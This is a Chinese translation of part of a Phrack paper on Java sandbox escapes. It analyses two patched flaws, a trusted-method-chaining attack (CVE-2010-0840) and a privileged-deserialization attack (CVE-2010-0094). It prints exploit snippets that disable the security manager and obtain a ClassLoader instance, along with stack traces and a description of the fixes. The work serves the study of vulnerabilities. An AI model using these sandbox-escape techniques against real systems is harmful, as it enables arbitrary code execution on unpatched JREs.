Java沙箱逃逸走過的二十個春秋(六)
原文:ping_the_java_sandbox.html" target="_blank" rel="nofollow,noindex">http://phrack.org/papers/escaping_the_java_sandbox.html
在上一篇文章中,我們為讀者詳細介紹了例項未初始化漏洞,在本文中,我們將為讀者介紹最後兩種漏洞,即受信任的方法鏈攻擊和序列化漏洞。
—-[ 4.3 – 受信任的方法鏈攻擊
——[ 4.3.1 – 背景知識
在Java中,每當進行安全檢測時,都會檢查整個呼叫堆疊。其中,呼叫堆疊中的每一幀都含有一個方法名,並且該方法名稱是由相關的類和方法的簽名進行標識的。受信任的方法鏈攻擊背後的原理是,讓呼叫堆疊上只有受信任的類。為此,通常要求攻擊者通過受信任的類中的反射特性來呼叫目標方法。這樣的話,當安全檢查完成,並且目標方法在特權上下文中執行時(通常為了禁用安全管理器),呼叫堆疊上就不會有應用程式類(這些類都是不受信任的)。為了使這種方法行之有效,該方法鏈必須位於特權執行緒上,例如事件執行緒。不過,該方法鏈不能用於主執行緒,因為具有main方法的類被認為是不可信的,因此,安全檢查將會丟擲異常。
——[ 4.3.2 – 示例 : CVE-2010-0840
這個漏洞是針對Java平臺的第一個受信任的方法鏈攻擊樣本[32]。它藉助於_java.beans.Statement_類的反射特性來執行目標方法。其中,攻擊程式碼會注入一個JList GUI元素(“一個顯示物件列表並允許使用者選擇一個或多個選項的元件”,見參考文獻[33])來強制GUI執行緒繪製新元素。該漏洞利用程式碼具體如下所示:
--------------------------------------------------------------------------- // target method Object target = System.class; String methodName = "setSecurityManager"; Object[] args = new Object[] { null }; Link l = new Link(target, methodName, args); final HashSet s = new HashSet(); s.add(l); Map h = new HashMap() { public Set entrySet() { return s; }; }; sList = new JList(new Object[] { h }); ---------------------------------------------------------------------------
通過_Link_物件,目標方法被表示為_Statement_類。需要說明的是,這個_Link_類不是來自JCL,而是由安全分析人員構造的一個類。實際上,_Link_類是_Expression_which的子類,而後者屬於_Statement_類的子類。此外,_Link_物件還以弄虛作假的方式實現了_java.util.Map.Entry_interface的getValue()方法。其實,它並沒有真正實現_Entry_介面,因為這裡只有一個getValue()方法。所以,這種“實現”無法使用普通的javac編譯器搞定,而只能通過直接修改_Link_類的位元組碼來完成。
--------------------------------------------------------------------------- interface Entry<K,V> { [...] /** * Returns the value corresponding to this entry.If the mapping * has been removed from the backing map (by the iterator's * <tt>remove</tt> operation), the results of this call are * undefined. * * @return the value corresponding to this entry * @throws IllegalStateException implementations may, but are not *required to, throw this exception if the entry has been *removed from the backing map. */ V getValue(); [...] ---------------------------------------------------------------------------
如您所見,該介面只是提供了一個getValue()方法。事實上,_Expression_類也有一個具有相同簽名的getValue()方法。就是因為這一點,所以,在執行時才能夠成功呼叫_Link_型別的物件的Entry.getValue(),儘管它只是_Entry_的實現的贗品。
--------------------------------------------------------------------------- // in AbstractMap public String toString() { Iterator<Entry<K,V>> i = entrySet().iterator(); if (! i.hasNext()) return "{}"; StringBuilder sb = new StringBuilder(); sb.append('{'); for (;;) { Entry<K,V> e = i.next(); K key = e.getKey(); V value = e.getValue(); sb.append(key== this ? "(this Map)" : key); sb.append('='); sb.append(value == this ? "(this Map)" : value); if (! i.hasNext()) return sb.append('}').toString(); sb.append(',').append(' '); } } ---------------------------------------------------------------------------
安全分析人員的目的是,通過呼叫AbstractMap.toString()方法來呼叫_Link_物件上的Entry.getValue(),進而呼叫invoke()方法:
--------------------------------------------------------------------------- public Object getValue() throws Exception { if (value == unbound) { setValue(invoke()); } return value; } ---------------------------------------------------------------------------
之後,invoke方法通過反射執行安全分析人員的目標方法System.setSecurityManapger(null),從而禁用安全管理器。利用反射特性呼叫這個方法時,對應的呼叫堆疊如下所示:
--------------------------------------------------------------------------- at java.beans.Statement.invoke(Statement.java:235) at java.beans.Expression.getValue(Expression.java:98) at java.util.AbstractMap.toString(AbstractMap.java:487) at javax.swing.DefaultListCellRenderer.getListCellRendererComponent (DefaultListCellRenderer.java:125) at javax.swing.plaf.basic.BasicListUI.updateLayoutState (BasicListUI.java:1337) at javax.swing.plaf.basic.BasicListUI.maybeUpdateLayoutState (BasicListUI.java:1287) at javax.swing.plaf.basic.BasicListUI.paintImpl(BasicListUI.java:251) at javax.swing.plaf.basic.BasicListUI.paint(BasicListUI.java:227) at javax.swing.plaf.ComponentUI.update(ComponentUI.java:143) at javax.swing.JComponent.paintComponent(JComponent.java:758) at javax.swing.JComponent.paint(JComponent.java:1022) at javax.swing.JComponent.paintChildren(JComponent.java:859) at javax.swing.JComponent.paint(JComponent.java:1031) at javax.swing.JComponent.paintChildren(JComponent.java:859) at javax.swing.JComponent.paint(JComponent.java:1031) at javax.swing.JLayeredPane.paint(JLayeredPane.java:564) at javax.swing.JComponent.paintChildren(JComponent.java:859) at javax.swing.JComponent.paint(JComponent.java:1031) at javax.swing.JComponent.paintToOffscreen(JComponent.java:5104) at javax.swing.BufferStrategyPaintManager.paint (BufferStrategyPaintManager.java:285) at javax.swing.RepaintManager.paint(RepaintManager.java:1128) at javax.swing.JComponent._paintImmediately(JComponent.java:5052) at javax.swing.JComponent.paintImmediately(JComponent.java:4862) at javax.swing.RepaintManager.paintDirtyRegions (RepaintManager.java:723) at javax.swing.RepaintManager.paintDirtyRegions (RepaintManager.java:679) at javax.swing.RepaintManager.seqPaintDirtyRegions (RepaintManager.java:659) at javax.swing.SystemEventQueueUtilities$ComponentWorkRequest.run (SystemEventQueueUtilities.java:128) at java.awt.event.InvocationEvent.dispatch(InvocationEvent.java:209) at java.awt.EventQueue.dispatchEvent(EventQueue.java:597) at java.awt.EventDispatchThread.pumpOneEventForFilters (EventDispatchThread.java:273) at java.awt.EventDispatchThread.pumpEventsForFilter (EventDispatchThread.java:183) at java.awt.EventDispatchThread.pumpEventsForHierarchy (EventDispatchThread.java:173) at java.awt.EventDispatchThread.pumpEvents (EventDispatchThread.java:168) at java.awt.EventDispatchThread.pumpEvents (EventDispatchThread.java:160) at java.awt.EventDispatchThread.run(EventDispatchThread.java:121) ---------------------------------------------------------------------------
可以看到,這個呼叫堆疊上並沒有不受信任的類。所以,無論進行任何安全檢查,呼叫堆疊的元素都能順利通過。
如上面的呼叫堆疊所示,繪製操作(RepaintManager.java:1128
)最終將呼叫getListCellRendererComponent()方法(DefaultListCellRenderer.java:125
)。_JList_建構函式的一個引數是將由item元素組成的列表。之後,該方法會呼叫相關元素的toString()方法。第一個元素是Map
,所以,會對其所有條目呼叫getValue()方法,而getValue()方法會呼叫Statement.invoke()方法,後者將通過反射特性來 呼叫安全分析人員的目標方法。
——[ 4.3.3 – 討論
通過修改Statement.invoke()方法,官方已經修復了該漏洞,具體來說,就是在建立_Statement_的程式碼的_AccessControlContext_中執行反射呼叫。需要說明的是,該漏洞不適用於最新版本的JRE,因為建立_Statement_does的不受信任的程式碼沒有被賦予任何許可權。
—-[ 4.4 – 序列化
——[ 4.4.1 – 背景知識
Java允許執行時將物件轉換為位元組流,以便於實現永續性和網路通訊。將物件轉換為位元組序列稱為序列化,而將位元組流轉換為物件的相反過程則稱為反序列化。有時候,反序列化過程的某些部分是在特權上下文中完成的。因此,安全分析人員可以利用這一點,具體來說就是通過例項化因缺少許可權而通常不允許例項化的物件。一個典型的例子是類java.lang.ClassLoader 。安全分析人員(總是在沒有許可權的情況下)通常無法直接例項化_ClassLoader_的子類S ,因為_ClassLoader_的建構函式會檢查呼叫方是否具有CREATE_CLASSLOADER許可權。但是,如果他發現了在特權上下文中反序列化_S_的序列化版本的方法的話,最終就可能得到_S_的例項。請注意,_S_的序列化版本可以由攻擊範圍之外的安全分析人員建立(例如,在他自己的機器上,在沒有沙箱的JVM的環境中)。在攻擊期間,序列化版本只是表示_S_例項的資料。在本節中,我們將展示如何利用CVE-2010-0094來利用系統程式碼,該系統程式碼對特權上下文中安全分析人員提供的資料進行反序列化。利用這種攻擊方法,攻擊者可執行任意程式碼,從而繞過所有沙箱限制。
——[ 4.4.2 – 示例: CVE-2010-0094
漏洞CVE-2010-0094 [35]位於方法RMIConnectionImpl.createMBean(String, ObjectName, ObjectName, MarshalledObject, String[], Subject)中。_MarshalledObject_型別的第四個引數包含物件_S_的位元組化表示,並且該物件是在特權上下文中進行反序列化的(在具有所有許可權的doPrivileged()呼叫內)。所以,安全分析人員可以通過傳遞任意物件來建立用於反序列化的MBean()。在這裡,傳遞的是_java.lang.ClassLoader_的子類:
--------------------------------------------------------------------------- public class S extends ClassLoader implements Serializable { } ---------------------------------------------------------------------------
在易受攻擊的JVM版本(例如,1.6.0_17)中,例項化物件_S_時的呼叫堆疊如下所示:
--------------------------------------------------------------------------- 1: Thread [main] (Suspended (breakpoint at line 226 in ClassLoader)) 2:S(ClassLoader).<init>() line: 226 [local variables unavailable] 4:GeneratedSerializationConstructorAccessor1.newInstance(Object[]) line: not available 6:Constructor<T>.newInstance(Object...) line: 513 7:ObjectStreamClass.newInstance() line: 924 8:MarshalledObject$MarshalledObjectInputStream (ObjectInputStream).readOrdinaryObject(boolean) line: 1737 10:MarshalledObject$MarshalledObjectInputStream (ObjectInputStream).readObject0(boolean) line: 1329 12:MarshalledObject$MarshalledObjectInputStream (ObjectInputStream).readObject() line: 351 14:MarshalledObject<T>.get() line: 142 15:RMIConnectionImpl$6.run() line: 1513 16:AccessController.doPrivileged(PrivilegedExceptionAction<T>) line: not available [native method] 18:RMIConnectionImpl.unwrap(MarshalledObject, ClassLoader, Class<T>) line: 1505 20:RMIConnectionImpl.access$500(MarshalledObject, ClassLoader, Class) line: 72 22:RMIConnectionImpl$7.run() line: 1548 23:AccessController.doPrivileged(PrivilegedExceptionAction<T>) line: not available [native method] 25:RMIConnectionImpl.unwrap(MarshalledObject, ClassLoader, ClassLoader, Class<T>) line: 1544 27:RMIConnectionImpl.createMBean(String, ObjectName, ObjectName, MarshalledObject, String[], Subject) line: 376 29:Exploit.exploit() line: 79 30:Exploit(BypassExploit).run_exploit() line: 24 31:ExploitBase.run(ExploitBase) line: 20 32:Exploit.main(String[]) line: 19 ---------------------------------------------------------------------------
我們注意到,反序列化是在特權上下文中(在第16行和第23行的doPrivileged()內)進行的。請注意,它是_ClassLoader_類(<init>()
,可信程式碼)的建構函式,它位於堆疊中,而不是S
(分析器類,不可信程式碼)的建構函式中。請注意,在第2行“S(ClassLoader)”意味著_ClassLoader_位於堆疊中,而不是_S_中。如果_S_已經位於堆疊中,_ClassLoader_建構函式中的許可權檢查會丟擲安全異常,因為不受信任的程式碼(因此沒有許可權)出現在了堆疊中。為什麼_S_不在呼叫堆疊中呢?答案請參考序列化協議[34]的相關文件:被呼叫的建構函式是沒有實現_Serializable_介面的類層次結構的第一個建構函式。在我們的示例中,由於_S_已經實現了Serializable
,因此,不會呼叫其建構函式。不過,_S_擴充套件自ClassLoader
,它並沒有實現Serializable
。因此,反序列化系統程式碼回撥用_ClassLoader_的空建構函式。因此,堆疊跟蹤僅在特權上下文中包含堆疊上的受信任系統類(在doPrivileged()之後可能存在不受信任的程式碼,因為在檢查呼叫堆疊時,許可權檢查將在doPrivileged()方法處停止)。所以, _ClassLoader_中的許可權檢查將會成功通過。
但是,後來在系統程式碼中,_S_的這個例項被強制轉換為既非_S_也非_ClassLoader_型別的例項。那麼,安全分析人員如何找到這個例項呢? 一種方法是向_S_新增靜態欄位以及向_S_類新增方法以在靜態欄位中儲存_S_例項的引用:
--------------------------------------------------------------------------- public class S extends ClassLoader implements Serializable { public static S myCL = null; private void readObject(java.io.ObjectInputStream in) throws Throwable { S.myCL = this; } } ---------------------------------------------------------------------------
readObject()方法是在反序列化期間(通過上面呼叫堆疊中第8行的readOrdinaryObject())呼叫的一個特殊方法。呼叫它的時候,還沒有進行許可權檢查,因此,不受信任的程式碼(即S.readObject()方法)可以出現在呼叫堆疊中。
這個時候,安全分析人員可以訪問_S_的例項。由於_S_是_ClassLoader_的子類,因此,分析人員可以定義一個帶有全部許可權的新類來禁用安全管理器(類似於3.1.1節中的方法)。這樣的話,沙箱就會被禁用,安全分析人員就可以執行任意程式碼了。
這個漏洞影響到14個Java 1.6版本(從版本1.6.0_01到1.6.0_18)。直到版本1.6.0_24釋出是,該漏洞才得到修復。
以下“功能”的組合使安全分析人員能夠繞過沙箱:(1)可信程式碼允許對不受信任的程式碼控制的資料進行反序列化,(2)在特權上下文中進行反序列化,以及(3)通過以下方式建立物件:反序列化的方法遵循與常規物件例項化不同的過程。
漏洞CVE-2010-0094已在Java 1.6.0更新24中得到了修復。對doPrivileged()的兩次呼叫已從程式碼中刪除。在修復後的版本中,當初始化_ClassLoader_時,許可權檢查將會失敗,因為現在將檢查整個呼叫堆疊(請參閱下面的新的呼叫堆疊內容)。第21行及其後不受信任的程式碼不再具有CREATE_CLASSLOADER許可權。
--------------------------------------------------------------------------- 1: Thread [main] (Suspended (breakpoint at line 226 in ClassLoader)) 2:MyClassLoader(ClassLoader).<init>() line: 226 [local variables unavailable] 4:GeneratedSerializationConstructorAccessor1.newInstance(Object[]) line: not available 6:Constructor<T>.newInstance(Object...) line: 513 7:ObjectStreamClass.newInstance() line: 924 8:MarshalledObject$MarshalledObjectInputStream (ObjectInputStream).readOrdinaryObject(boolean) line: 1736 10:MarshalledObject$MarshalledObjectInputStream(ObjectInputStream) .readObject0(boolean) line: 1328 12:MarshalledObject$MarshalledObjectInputStream(ObjectInputStream) .readObject() line: 350 14:MarshalledObject<T>.get() line: 142 15:RMIConnectionImpl.unwrap(MarshalledObject, ClassLoader, Class<T>) line: 1523 17:RMIConnectionImpl.unwrap(MarshalledObject, ClassLoader, ClassLoader, Class<T>) line: 1559 19:RMIConnectionImpl.createMBean(String, ObjectName, ObjectName, MarshalledObject, String[], Subject) line: 376 21:Exploit.exploit() line: 79 22:Exploit(BypassExploit).run_exploit() line: 24 23:ExploitBase.run(ExploitBase) line: 20 24:Exploit.main(String[]) line: 19 ---------------------------------------------------------------------------
——[ 4.4.3 – 討論
這個漏洞表明,攻擊者可以組合利用序列化協議的特性(僅呼叫特定建構函式)與易受攻擊的系統程式碼,只要這些系統程式碼在特權上下文中對攻擊者控制的資料進行反序列化,他們就能繞過沙箱並執行任意程式碼。此外,為了保持向後相容,序列化協議修改起來非常困難,因此,安全人員已經就易受攻擊的系統程式碼做出了相應的修改,從而修復了這裡的漏洞。
–[ 5 – 結束語
在本文中,我們著重介紹了Java平臺的複雜安全模型,該模型已經飽受攻擊20來年了。其中,我們不僅為讀者展示了該平臺包含的本機元件(如Java虛擬機器),以及各種Java系統類(JCL),並且對系統的兩個組成部分相關的攻擊進行了全面的介紹,包括低階攻擊,例如記憶體損壞漏洞,以及針對安全策略的執行的Java級攻擊,例如受信任的方法鏈攻擊。閱讀本文後,讀者就會對保護平臺的安全性的難度有所體會。
在本文中,我們的內容是圍繞案例研究進行組織的,以便於闡明諸如Java平臺之類的複雜系統,是如何受到惡意程式碼的攻擊的。希望這篇Java漏洞歷史總結能夠加深大家對系統安全的理解,從而有助於將來能夠設計出更加安全的系統。
–[ 6 – 參考資料
[1] Aleph One. “Smashing The Stack For Fun And Profit.” Phrack 49 1996
[2] Oracle. “The History of Java Technology.”
http://www.oracle.com/technetwork/java/javase/overview/javahistory-index-19
8355.html, 2018
[3] Drew Dean, Edward W. Felten, Dan S. Wallach. “Java security: From
HotJava to Netscape and beyond.” In Security & Privacy, IEEE, 1996
[4] Joshua J. Drake. “Exploiting memory corruption vulnerabilities in the
java runtime.” 2011
[5] Esteban Guillardoy. “Java 0day analysis (CVE-2012-4681).”
https://immunityproducts.blogspot.com/2012/08/java-0day-analysis-cve-2012-4
681.html, 2012
[6] Jeong Wook Oh. “Recent Java exploitation trends and malware.”
Presentation at Black Hat Las Vegas, 2012
[7] Security Explorations. “Oracle CVE ID Mapping SE – 2012 – 01, Security
vulnerabilities in Java SE.” 2012
[8] Brian Gorenc, Jasiel Spelman. “Java every-days exploiting software
running on 3 billion devices.” In Proceedings of BlackHat security
conference, 2013
[9] Xiao Lee and Sen Nie. “Exploiting JRE – JRE Vulnerability: Analysis &
Hunting.” Hitcon, 2013
[10] Matthias Kaiser. “Recent Java Exploitation Techniques.” HackPra, 2013
[11] Google,
https://blog.chromium.org/2014/11/the-final-countdown-for-npapi.html . “The
Final Countdown for NPAPI.” 2014
[12] Mozilla,
https://blog.mozilla.org/futurereleases/2015/10/08/npapi-plugins-in-firefox
/. “NPAPI Plugins in Firefox.” 2015
[13] Alexandre Bartel, Jacques Klein, Yves Le Traon. “Exploiting
CVE-2017-3272.” In Multi-System & Internet Security Cookbook (MISC), May
2018
[14] Red Hat. “CVE-2017-3272 OpenJDK: insufficient protected field access
checks in atomic field updaters (Libraries, 8165344).” Bugzilla – Bug
1413554 https://bugzilla.redhat.com/show_bug.cgi?id=1413554 2017
[15] Norman Maurer. “Lesser known concurrent classes –
Atomic*FieldUpdater.” In
http://normanmaurer.me/blog/2013/10/28/Lesser-known-concurrent-classes-Part
-1/
[16] Jeroen Frijters. “Arraycopy HotSpot Vulnerability Fixed in 7u55
(CVE-2014-0456).” In IKVM.NET Weblog, 2014
[17] NIST. “CVE-2016-3587.”https://nvd.nist.gov/vuln/detail/CVE-2016-3587
[18] Vincent Lee. “When Java throws you a Lemon, make Limenade: Sandbox
escape by type confusion.” In
https://www.zerodayinitiative.com/blog/2018/4/25/when-java-throws-you-a-lem
on-make-limenade-sandbox-escape-by-type-confusion
[19] Red Hat. “CVE-2015-4843 OpenJDK: java.nio Buffers integer overflow
issues (Libraries, 8130891).” Bugzilla – Bug 1273053
https://bugzilla.redhat.com/show_bug.cgi?id=1273053 , 2015
[20] Alexandre Bartel. “Exploiting CVE-2015-4843.” In Multi-System &
Internet Security Cookbook (MISC), January 2018
[21] Oracle. “The Java Virtual Machine Specification, Java SE 7 Edition:
4.10.2.4. Instance initialization methods and newly created objects.”
http://docs.oracle.com/javase/specs/jvms/se7/html/
jvms-4.html#jvms-4.10.2.4, 2013
[22] National Vulnerability Database. “Vulnerability summary for
cve-2017-3289.” https://nvd.nist.gov/vuln/detail/CVE-2017-3289
[23] Redhat. “Bug 1413562 – (cve-2017-3289) cve-2017-3289 openjdk: insecure
class construction (hotspot, 8167104).” https://bugzilla.redhat.com/show
bug.cgi?id=1413562.
[24] OpenJDK. “Openjdk changeset 8202:02a3d0dcbedd jdk8u121-b08 8167104:
Additional class construction refinements.”
http://hg.openjdk.java.net/jdk8u/jdk8u/hotspot/rev/02a3d0dcbedd .
[25] Oracle. “The java virtual machine specification, java se 7 edition:
4.7.4. the stackmaptable attribute.”
http://docs.oracle.com/javase/specs/jvms/se7/html/ jvms-4.html#jvms-4.7.4,
2013
[26] “Request for review (s): 7020118.”
http://mail.openjdk.java.net/pipermail/hotspot-runtime-dev/2011-February/00
1866.html
[27] Philipp Holzinger, Stephan Triller, Alexandre Bartel, and Eric Bodden.
“An in-depth study of more than ten years of java exploitation.” In
Proceedings of the 23rd ACM Conference on Computer and Communications
[28] Eric Bruneton. “ASM, a Java bytecode engineering library.”
http://download.forge.objectweb.org/asm/asm-guide.pdf[29] LSD Research Group et al.. “Java and java virtual machine security,
vulnerabilities and their exploitation techniques.” In Black Hat Briefings,
2002
[30] Drew Dean, Edward W Felten, and Dan S Wallach. “Java security: From
hotjava to netscape and beyond.” In Proceedings, IEEE Symposium on Security
and Privacy, 1996, pages 190-200
[31] Cristina Cifuentes, Nathan Keynes, John Gough, Diane Corney, Lin Gao,
Manuel Valdiviezo, and Andrew Gross. “Translating java into llvm ir to
detect security vulnerabilities.” In LLVM Developer Meeting, 2014
[32] Sami Koivu. “Java Trusted Method Chaining (CVE-2010-0840/ZDI-10-056).”
[33] Oracle. “JList.”
https://docs.oracle.com/javase/7/docs/api/javax/swing/JList.html[34] Oracle. “Interface Serializable.”
https://docs.oracle.com/javase/7/docs/api/java/io/Serializable.html[35] Sami Koivu, Matthias Kaiser. “CVE-2010-0094.”
https://github.com/rapid7/metasploit-framework/tree/master/external/source/
exploits/CVE-2010-0094